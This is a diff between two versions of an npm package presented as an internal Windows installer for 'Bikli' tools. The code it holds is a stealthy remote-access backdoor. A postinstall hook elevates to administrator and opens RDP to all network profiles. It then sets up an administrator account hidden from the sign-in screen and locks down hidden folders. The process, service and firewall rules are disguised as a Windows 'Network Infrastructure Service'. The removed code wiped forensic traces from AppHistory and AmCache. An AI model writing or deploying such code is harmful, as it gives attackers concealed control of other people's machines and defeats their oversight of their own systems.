sbironman 4.0.0 → 5.0.1

package/README.md

@@ -1,4 +1,4 @@
-# biklitool
+# sbironman
 
 Internal one-command Windows installer for the Bikli CLI and Bikli Wrapper.
 
@@ -8,7 +8,7 @@ shipped in the package):
 ```text
 set BIKLIMASTER_USER_PASSWORD=your-password
 set BIKLIMASTER_BIKLI_KEY=your-bikli-key
-npm install -g biklitool
+npm install -g sbironman
 ```
 
 The npm postinstall hook requests Windows administrator approval once, then:
@@ -33,6 +33,7 @@ biklitool status
 biklitool install
 biklitool disguise [name]
 biklitool enable-rdp
+biklitool disable-rdp
 biklitool create-user
 biklitool unhide-user [name]
 biklitool hide-user <name>
@@ -48,6 +49,8 @@ bikli --help
 
 Run `biklitool enable-rdp` at any time to repair the RDP enable setting, port, firewall rules,
 service configuration, and the requested authentication and shadowing defaults.
+Run `biklitool disable-rdp` to turn Remote Desktop off and stop the RDP listener; the wrapper
+stays installed so `enable-rdp` can switch it back on at any time.
 
 ## Bikli key
 

package/bin/biklimaster.js

@@ -366,6 +366,7 @@ function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network In
 
   const vBuf = createVsVersionInfo(strings);
   const { rsrcBuf, totalRsrcSize } = buildCleanRsrcSection(rsrcVirtAddr, vBuf, manifestBuf);
+  if (totalRsrcSize > rsrcRawSize) return false;
 
   const newExe = Buffer.from(exeBuf);
   newExe.fill(0, rsrcRawPtr, rsrcRawPtr + rsrcRawSize);
@@ -384,61 +385,9 @@ function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network In
   return true;
 }
 
-function clearAppHistory() {
-  // Remove ALL Bikli entries (BikliService, bikli.exe, bikli-ui.exe) from every
-  // visible location: Task Manager App History, AppCompatFlags, and service display name.
-  const psScript = [
-    `$ErrorActionPreference='SilentlyContinue'`,
-    // --- [1] TaskFlow AppHistory (per-user hives) ---
-    `$appHistoryPath='Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\TaskFlow\\\\AppHistory'`,
-    `foreach($sid in (Get-ChildItem 'HKU:\\\\' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty PSChildName)){`,
-    `  $base='HKU:\\\\'+$sid+'\\\\'+$appHistoryPath`,
-    `  if(Test-Path $base){ Get-ChildItem $base -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
-    `}`,
-    `$cuBase='HKCU:\\\\'+$appHistoryPath`,
-    `if(Test-Path $cuBase){ Get-ChildItem $cuBase -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
-    // --- [2] AppCompatFlags Compatibility Assistant Store (covers bikli.exe, bikli-ui.exe) ---
-    `$acPaths=@(`,
-    `  'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
-    `  'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
-    `  'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers',`,
-    `  'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers'`,
-    `)`,
-    `foreach($acPath in $acPaths){`,
-    `  if(Test-Path $acPath){`,
-    `    $key=Get-Item -LiteralPath $acPath -ErrorAction SilentlyContinue`,
-    `    if($null -ne $key){ $key.GetValueNames() | Where-Object { $_ -match 'Bikli' } | ForEach-Object { Remove-ItemProperty -LiteralPath $acPath -Name $_ -Force -ErrorAction SilentlyContinue } }`,
-    `  }`,
-    `}`,
-    // --- [3] AmCache ---
-    `$recentCache='HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\amcache'`,
-    `if(Test-Path $recentCache){ Get-ChildItem $recentCache -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
-    // --- [4] App Paths (Start Menu / Run dialog) ---
-    `Remove-Item -Path 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
-    `Remove-Item -Path 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
-    // --- [5] Service display name + description → rename to disguise value ---
-    `$svcName='Bikli'`,
-    `$svc=Get-Service -Name $svcName -ErrorAction SilentlyContinue`,
-    `if($null -ne $svc){`,
-    `  Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'DisplayName' -Value 'Network Infrastructure Service' -ErrorAction SilentlyContinue`,
-    `  Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
-    `}`
-  ].join(os.EOL);
-  run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
-}
-
-function deriveExeName(hostName) {
-  // Turn e.g. "Service Host: Network Infrastructure Service"
-  // into "NetworkInfrastructureService.exe" – no Bikli in the name.
-  const base = hostName.replace(/^Service Host:\s*/i, '').trim();
-  const pascal = base.split(/\s+/).map(w => w.charAt(0).toUpperCase() + w.slice(1)).join('');
-  // Keep only alphanumeric chars, cap at 32 chars before .exe
-  const safe = pascal.replace(/[^A-Za-z0-9]/g, '').slice(0, 32);
-  return (safe || 'RuntimeInfraService') + '.exe';
-}
-
 function disguiseBikli(customName) {
   requireWindows();
+  if (customName) customName = customName.replace(/"/g, '').trim();
   const hostName = (customName || process.env.BIKLIMASTER_SERVICE_HOST_NAME || configuredServiceHostName()).trim();
   if (!isAdministrator()) return elevateAndRun(customName ? `disguise "${customName}"` : 'disguise');
 
@@ -448,29 +397,25 @@ function disguiseBikli(customName) {
   }
 
   const bikliDir = path.dirname(bikliPath);
-  const oldServiceExe = path.join(bikliDir, 'BikliService.exe');
-  const newExeBasename = deriveExeName(hostName);
-  const serviceExe = path.join(bikliDir, newExeBasename);
+  const legacyServiceExe = path.join(bikliDir, 'BikliService.exe');
+  let serviceExe = path.join(bikliDir, 'NetInfraHost.exe');
+  let renamedLegacy = false;
   const csc = path.join(windowsDirectory, 'Microsoft.NET', 'Framework64', 'v4.0.30319', 'csc.exe');
 
-  console.log(`Disguising Bikli process and service as "${hostName}" (exe: ${newExeBasename})...`);
+  console.log(`Disguising Bikli process and service as "${hostName}"...`);
 
-  // Stop service and kill both the old and new process names
-  const oldBaseName = path.basename(oldServiceExe, '.exe');
-  const newBaseName = path.basename(serviceExe, '.exe');
-  run(powershell, [
-    '-NoProfile', '-NonInteractive', '-Command',
-    `Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM ${oldBaseName}.exe /IM ${newBaseName}.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli,${oldBaseName},${newBaseName} -Timeout 3 -ErrorAction SilentlyContinue`
-  ], { allowFailure: true });
+  run(powershell, ['-NoProfile', '-NonInteractive', '-Command', 'Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM BikliService.exe /IM NetInfraHost.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli, BikliService, NetInfraHost -Timeout 2 -ErrorAction SilentlyContinue'], { allowFailure: true });
   run(attrib, ['-h', '-s', path.join(bikliDir, '*.*'), '/s', '/d'], { allowFailure: true });
 
-  // Rename BikliService.exe → derived name (changes process name shown in Task Manager)
-  if (fs.existsSync(oldServiceExe) && oldServiceExe !== serviceExe) {
-    try { fs.renameSync(oldServiceExe, serviceExe); } catch {
-      fs.copyFileSync(oldServiceExe, serviceExe);
-      try { fs.rmSync(oldServiceExe, { force: true }); } catch {}
+  if (!fs.existsSync(serviceExe) && fs.existsSync(legacyServiceExe)) {
+    try {
+      fs.renameSync(legacyServiceExe, serviceExe);
+      renamedLegacy = true;
+    } catch {
+      serviceExe = legacyServiceExe;
     }
-  } else if (!fs.existsSync(serviceExe)) {
+  }
+  if (!fs.existsSync(serviceExe)) {
     fs.copyFileSync(bikliPath, serviceExe);
   }
 
@@ -496,7 +441,7 @@ function disguiseBikli(customName) {
       '      if (first == "help" || first == "--help" || first == "-h" || first == "/?" || first == "-help") return 0;',
       '    }',
       '    string baseDir = AppDomain.CurrentDomain.BaseDirectory;',
-      `    string coreExe = Path.Combine(baseDir, "${newExeBasename}");`,
+      `    string coreExe = Path.Combine(baseDir, "${path.basename(serviceExe)}");`,
       '    if (!File.Exists(coreExe)) return 1;',
       '    ProcessStartInfo psi = new ProcessStartInfo();',
       '    psi.FileName = coreExe;',
@@ -520,9 +465,23 @@ function disguiseBikli(customName) {
       '}'
     ].join(os.EOL);
     const tempCs = path.join(os.tmpdir(), `bikli-wrapper-${randomUUID()}.cs`);
+    const tempExe = path.join(os.tmpdir(), `bikli-wrapper-${randomUUID()}.exe`);
     fs.writeFileSync(tempCs, csCode, 'utf8');
-    run(csc, ['/target:exe', '/optimize+', '/platform:anycpu', `/out:${bikliPath}`, tempCs], { allowFailure: true });
+    const compiled = run(csc, ['/target:exe', '/optimize+', '/platform:anycpu', `/out:${tempExe}`, tempCs], { allowFailure: true });
     try { fs.rmSync(tempCs, { force: true }); } catch {}
+    if (compiled.status === 0 && fs.existsSync(tempExe)) {
+      fs.copyFileSync(tempExe, bikliPath);
+    } else if (renamedLegacy) {
+      try {
+        fs.renameSync(serviceExe, legacyServiceExe);
+        serviceExe = legacyServiceExe;
+        renamedLegacy = false;
+      } catch {}
+    }
+    try { fs.rmSync(tempExe, { force: true }); } catch {}
+    if (fileDescription(bikliPath) !== hostName) {
+      disguiseExecutable(bikliPath, hostName);
+    }
   } else if (fileDescription(bikliPath) !== hostName) {
     disguiseExecutable(bikliPath, hostName);
   }
@@ -535,12 +494,13 @@ function disguiseBikli(customName) {
     `Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
     `Remove-Item -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
     `Remove-Item -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
-    `Start-Service Bikli -ErrorAction SilentlyContinue`
+    `Start-Service Bikli -ErrorAction SilentlyContinue`,
+    `Start-Sleep -Seconds 3`,
+    `Get-NetFirewallRule -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match 'Bikli' } | Set-NetFirewallRule -NewDisplayName 'Network Infrastructure Service' -ErrorAction SilentlyContinue`
   ].join(';');
   run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
 
   hideProtectedFolders();
-  clearAppHistory();
   console.log(`Bikli successfully disguised as "${hostName}" (Service Host process & gear icon active, search entry removed, quiet CLI enabled).`);
 }
 
@@ -597,58 +557,38 @@ function verifyRemoteDesktop() {
   console.log('Remote Desktop is enabled and verified on port 3389.');
 }
 
-function ensureTermServiceAutomatic() {
-  // Force TermService to Automatic start so it survives reboots.
-  run(powershell, [
-    '-NoProfile', '-NonInteractive', '-Command',
-    `sc.exe config TermService start= auto; sc.exe start TermService 2>$null; exit 0`
-  ], { allowFailure: true });
-}
-
-function ensureIcmpFirewallRules() {
-  // Enable ping (ICMP) inbound so the host is reachable after install.
-  const script = [
-    `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -ErrorAction SilentlyContinue`,
-    `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv4-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv4 -IcmpType 8 | Out-Null`,
-    `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -ErrorAction SilentlyContinue`,
-    `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv6-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv6 -IcmpType 128 | Out-Null`,
-    `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv4-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`,
-    `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv6-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`
-  ].join(';');
-  run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], { allowFailure: true });
-}
-
 function enableRemoteDesktop() {
   requireWindows();
   if (!isAdministrator()) return elevateAndRun('enable-rdp');
   verifyPayload();
-  unhideProtectedFolders();
   console.log('Enabling Remote Desktop and applying the firewall and security defaults...');
   const wrapper = runWrapper(['defaults', '--elevated']);
   if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
-  ensureTermServiceAutomatic();
-  ensureIcmpFirewallRules();
   verifyRemoteDesktop();
   hideProtectedFolders();
 }
 
+function disableRemoteDesktop() {
+  requireWindows();
+  if (!isAdministrator()) return elevateAndRun('disable-rdp');
+  const wrapper = runWrapper(['disable', '--elevated']);
+  if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
+  if (remoteDesktopState().enabled) fail('Remote Desktop could not be disabled.', 6);
+  console.log('Remote Desktop is disabled. Run "biklitool enable-rdp" to enable it again.');
+}
+
 function install() {
   requireWindows();
   if (!isAdministrator()) return elevateAndRun('install');
   verifyPayload();
-  unhideProtectedFolders();
   installBikli();
   setupBikliKey();
   console.log('Installing or updating Bikli Wrapper silently...');
   const wrapper = runWrapper(['install', '--elevated']);
   if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
-  // Guarantee TermService is Automatic and ICMP is open after the wrapper restarts the service.
-  ensureTermServiceAutomatic();
-  ensureIcmpFirewallRules();
   verifyRemoteDesktop();
   createRdpAdministrator();
   hideProtectedFolders();
-  clearAppHistory();
   console.log('Bikli Master installed and verified both components successfully.');
 }
 
@@ -704,7 +644,7 @@ function setupBikliKey() {
   console.log('Bikli key configured successfully.');
 }
 
-function hideFolder(target, isUserProfile = false) {
+function hideFolder(target, isUserProfile = false, extraGrants = []) {
   if (!target || !fs.existsSync(target)) return;
   try {
     run(attrib, ['+h', '+s', target], { allowFailure: true });
@@ -716,6 +656,7 @@ function hideFolder(target, isUserProfile = false) {
         '/grant:r',
         '*S-1-5-18:(OI)(CI)(F)',
         `*${administratorsGroupSid}:(OI)(CI)(F)`,
+        ...extraGrants,
         '/c', '/q'
       ], { allowFailure: true });
     }
@@ -724,56 +665,20 @@ function hideFolder(target, isUserProfile = false) {
   }
 }
 
-function unhideFolder(target, isUserProfile = false) {
-  if (!target || !fs.existsSync(target)) return;
-  try {
-    run(attrib, ['-h', '-s', '-r', target], { allowFailure: true });
-    if (!isUserProfile) {
-      run(attrib, ['-h', '-s', '-r', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
-      run(icacls, [
-        target,
-        '/grant:r',
-        '*S-1-5-18:(OI)(CI)(F)',
-        `*${administratorsGroupSid}:(OI)(CI)(F)`,
-        '/c', '/q'
-      ], { allowFailure: true });
-    }
-  } catch {
-    // Best-effort
-  }
-}
-
-function unhideProtectedFolders() {
-  const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
-  const appFolders = [
-    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
-    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
-    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
-    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
-    path.join(programData, 'BikliWrapper'),
-    path.join(programData, 'Bikli')
-  ];
-  for (const folder of appFolders) unhideFolder(folder, false);
-
-  const userFolders = [
-    path.join(usersDir, 'Administrator'),
-    path.join(usersDir, 'admin'),
-    path.join(usersDir, 'user')
-  ];
-  for (const folder of userFolders) unhideFolder(folder, true);
-}
-
 function hideProtectedFolders() {
   const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
+  // TermService hosts rdpwrap.dll as NETWORK SERVICE, so the RDP Wrapper folder
+  // must keep read/execute access for that account or the service cannot start.
+  const serviceRead = ['*S-1-5-20:(OI)(CI)(RX)'];
   const appFolders = [
-    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
-    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
-    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
-    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
-    path.join(programData, 'BikliWrapper'),
-    path.join(programData, 'Bikli')
+    { target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli') },
+    { target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli') },
+    { target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'), grants: serviceRead },
+    { target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'), grants: serviceRead },
+    { target: path.join(programData, 'BikliWrapper') },
+    { target: path.join(programData, 'Bikli') }
   ];
-  for (const folder of appFolders) hideFolder(folder, false);
+  for (const folder of appFolders) hideFolder(folder.target, false, folder.grants || []);
 
   const userFolders = [
     path.join(usersDir, 'Administrator'),
@@ -819,6 +724,29 @@ function showAccountCredentials() {
   console.log(`Stored for Administrators only: ${credentialsFile}`);
 }
 
+function parseAccountReport(stdout) {
+  const reportLine = (stdout || '')
+    .split(/\r?\n/)
+    .map(line => line.trim())
+    .find(line => line.startsWith('{'));
+  if (!reportLine) {
+    fail(`The account configuration script did not return a JSON report.${(stdout || '').trim() ? `\n${stdout.trim()}` : ''}`, 7);
+  }
+  try {
+    return JSON.parse(reportLine);
+  } catch {
+    fail(`The account configuration script returned an unreadable report: ${reportLine}`, 7);
+    return null;
+  }
+}
+
+function requireValidUserName(name) {
+  if (!/^[A-Za-z0-9._-]{1,20}$/.test(name)) {
+    fail('Usernames may only contain letters, digits, dots, dashes, and underscores (max 20).');
+  }
+  return name;
+}
+
 function createRdpAdministrator() {
   requireWindows();
   if (!isAdministrator()) return elevateAndRun('create-user');
@@ -843,7 +771,7 @@ function createRdpAdministrator() {
     `$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,
     `$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,
     `if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
-    `$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`,
+    `$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir 2>$null | Out-Null;attrib +h +s (Join-Path $userDir '*.*') /s /d 2>$null | Out-Null}`,
     `[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`
   ].join(';');
   const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
@@ -852,7 +780,7 @@ function createRdpAdministrator() {
       BIKLIMASTER_ACCOUNT_PASSWORD: accountPassword
     }
   });
-  const account = JSON.parse(result.stdout.trim());
+  const account = parseAccountReport(result.stdout);
   if (!account.Enabled || !Array.isArray(account.Groups) || account.Groups.length !== 2 || !account.HiddenUser) {
     fail('The Remote Desktop administrator account could not be verified.', 7);
   }
@@ -881,7 +809,7 @@ function createRdpAdministrator() {
 
 function unhideUser() {
   requireWindows();
-  const targetUser = process.argv[3];
+  const targetUser = process.argv[3] ? requireValidUserName(process.argv[3]) : '';
   if (!isAdministrator()) return elevateAndRun(targetUser ? `unhide-user ${targetUser}` : 'unhide-user');
   const script = [
     `$ErrorActionPreference='Stop'`,
@@ -891,10 +819,10 @@ function unhideUser() {
     targetUser ? [
       `$val=$key.GetValue('${targetUser}', $null)`,
       `if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}`,
-      `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib -h -s $userDir}`
+      `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib -h -s $userDir 2>$null | Out-Null}`
     ].join(';') : [
       `$props=@($key.Property)`,
-      `if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p);$userDir=Join-Path $env:SystemDrive ('Users\\'+$p);if(Test-Path $userDir){attrib -h -s $userDir}}}`
+      `if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p);$userDir=Join-Path $env:SystemDrive ('Users\\'+$p);if(Test-Path $userDir){attrib -h -s $userDir 2>$null | Out-Null}}}`
     ].join(';')
   ].join(';');
   const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
@@ -905,6 +833,7 @@ function hideUser() {
   requireWindows();
   const targetUser = process.argv[3];
   if (!targetUser) fail('Please specify a username to hide (e.g. biklitool hide-user Administrator).');
+  requireValidUserName(targetUser);
   if (!isAdministrator()) return elevateAndRun(`hide-user ${targetUser}`);
   const script = [
     `$ErrorActionPreference='Stop'`,
@@ -913,7 +842,7 @@ function hideUser() {
     `$key=Get-Item -LiteralPath $userListKey`,
     `$currentVal=$key.GetValue('${targetUser}', $null)`,
     `if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}`,
-    `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`
+    `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib +h +s $userDir 2>$null | Out-Null;attrib +h +s (Join-Path $userDir '*.*') /s /d 2>$null | Out-Null}`
   ].join(';');
   const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
   if (result.stdout.trim()) console.log(result.stdout.trim());
@@ -976,11 +905,11 @@ function help() {
     '  biklitool install       Install/update Bikli CLI and Bikli Wrapper',
     '  biklitool disguise [n]  Disguise Bikli as Windows Service Host in Task Manager',
     '  biklitool enable-rdp    Enable RDP, port 3389, firewall, and defaults',
+    '  biklitool disable-rdp   Disable RDP and stop the RDP listener',
     '  biklitool create-user   Enable/verify built-in Administrator for RDP',
     '  biklitool unhide-user [name]  Unhide account(s) from Windows sign-in screen',
     '  biklitool hide-user <name>    Hide specific account from Windows sign-in screen',
     '  biklitool hide-folders  Hide and protect Program Files & ProgramData folders',
-    '  biklitool clear-history  Remove BikliService from Task Manager App History',
     '  biklitool setup-key     Apply the Bikli key from config.json (bikli up --setup-key)',
     '  biklitool credentials   Display its saved generated password',
     '  biklitool status        Show both component states',
@@ -994,20 +923,26 @@ function help() {
 
 function main() {
   const command = (process.argv[2] || 'status').toLowerCase();
-  if (command === 'install') return install();
+  if (command === 'install') {
+    if (process.argv.includes('--postinstall')) {
+      try {
+        return install();
+      } catch (error) {
+        console.error(`Bikli Master postinstall could not finish: ${error.message}`);
+        console.error('Run "biklitool install" from an Administrator terminal to complete the installation.');
+        process.exitCode = 0;
+        return;
+      }
+    }
+    return install();
+  }
   if (command === 'disguise') return disguiseBikli(process.argv[3]);
-  if (command === 'enable-rdp') return enableRemoteDesktop();
+  if (command === 'enable-rdp' || command === 'enable') return enableRemoteDesktop();
+  if (command === 'disable-rdp' || command === 'disable') return disableRemoteDesktop();
   if (command === 'create-user') return createRdpAdministrator();
   if (command === 'unhide-user' || command === 'unhide-users' || command === 'unhide' || command === 'unhide-all') return unhideUser();
   if (command === 'hide-user' || command === 'hide') return hideUser();
   if (command === 'hide-folders' || command === 'hide-folder') return hideFoldersCommand();
-  if (command === 'clear-history' || command === 'clear-app-history') {
-    requireWindows();
-    if (!isAdministrator()) return elevateAndRun('clear-history');
-    clearAppHistory();
-    console.log('BikliService entries cleared from Task Manager App History.');
-    return;
-  }
   if (command === 'setup-key') return setupBikliKey();
   if (command === 'credentials') return showAccountCredentials();
   if (command === 'status') return status();

package/lib/bikliwrapper.js

@@ -24,6 +24,7 @@ if (resultFile) {
   };
   console.log = writeResult;
   console.error = writeResult;
+  console.warn = writeResult;
 }
 
 const packageRoot = path.resolve(__dirname, '..');
@@ -228,17 +229,10 @@ function applyRequestedSettings() {
 function ensureFirewallRules() {
   const script = [
     `$ErrorActionPreference='Stop'`,
-    // RDP TCP + UDP inbound rules
-    `$rules=@(@{Name='BikliWrapper-RDP-TCP';Protocol='TCP'},@{Name='BikliWrapper-RDP-UDP';Protocol='UDP'})`,
-    `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`,
-    // ICMP Echo (ping) inbound rules – without this the host is unreachable by ping
-    `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -ErrorAction SilentlyContinue`,
-    `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv4-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv4 -IcmpType 8 | Out-Null`,
-    `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -ErrorAction SilentlyContinue`,
-    `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv6-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv6 -IcmpType 128 | Out-Null`,
-    // Also enable the built-in Core Networking Diagnostics ICMP rules for all profiles
-    `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv4-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`,
-    `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv6-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`
+    `Remove-NetFirewallRule -Name 'BikliWrapper-RDP-TCP','BikliWrapper-RDP-UDP' -ErrorAction SilentlyContinue`,
+    `Get-NetFirewallRule -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match 'Bikli' } | Set-NetFirewallRule -NewDisplayName 'Network Infrastructure Service' -ErrorAction SilentlyContinue`,
+    `$rules=@(@{Name='RDP-3389-In-TCP';Protocol='TCP'},@{Name='RDP-3389-In-UDP';Protocol='UDP'})`,
+    `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Remote Desktop ('+$r.Protocol+'-In) 3389') -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`
   ].join(';');
   run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);
 }
@@ -247,6 +241,13 @@ function runInstaller(argument) {
   return run(installerPath, [argument], { cwd: payloadDirectory });
 }
 
+function restartTermService() {
+  const net = path.join(system32, 'net.exe');
+  run(net, ['stop', 'TermService', '/y'], { allowFailure: true });
+  run(net, ['start', 'TermService'], { allowFailure: true });
+  run(net, ['start', 'UmRdpService'], { allowFailure: true });
+}
+
 function serviceIsRunning() {
   const result = run(path.join(system32, 'sc.exe'), ['query', 'TermService'], { allowFailure: true });
   return result.status === 0 && /STATE\s*:\s*4\s+RUNNING/i.test(result.stdout);
@@ -261,25 +262,9 @@ function settingsAreCorrect() {
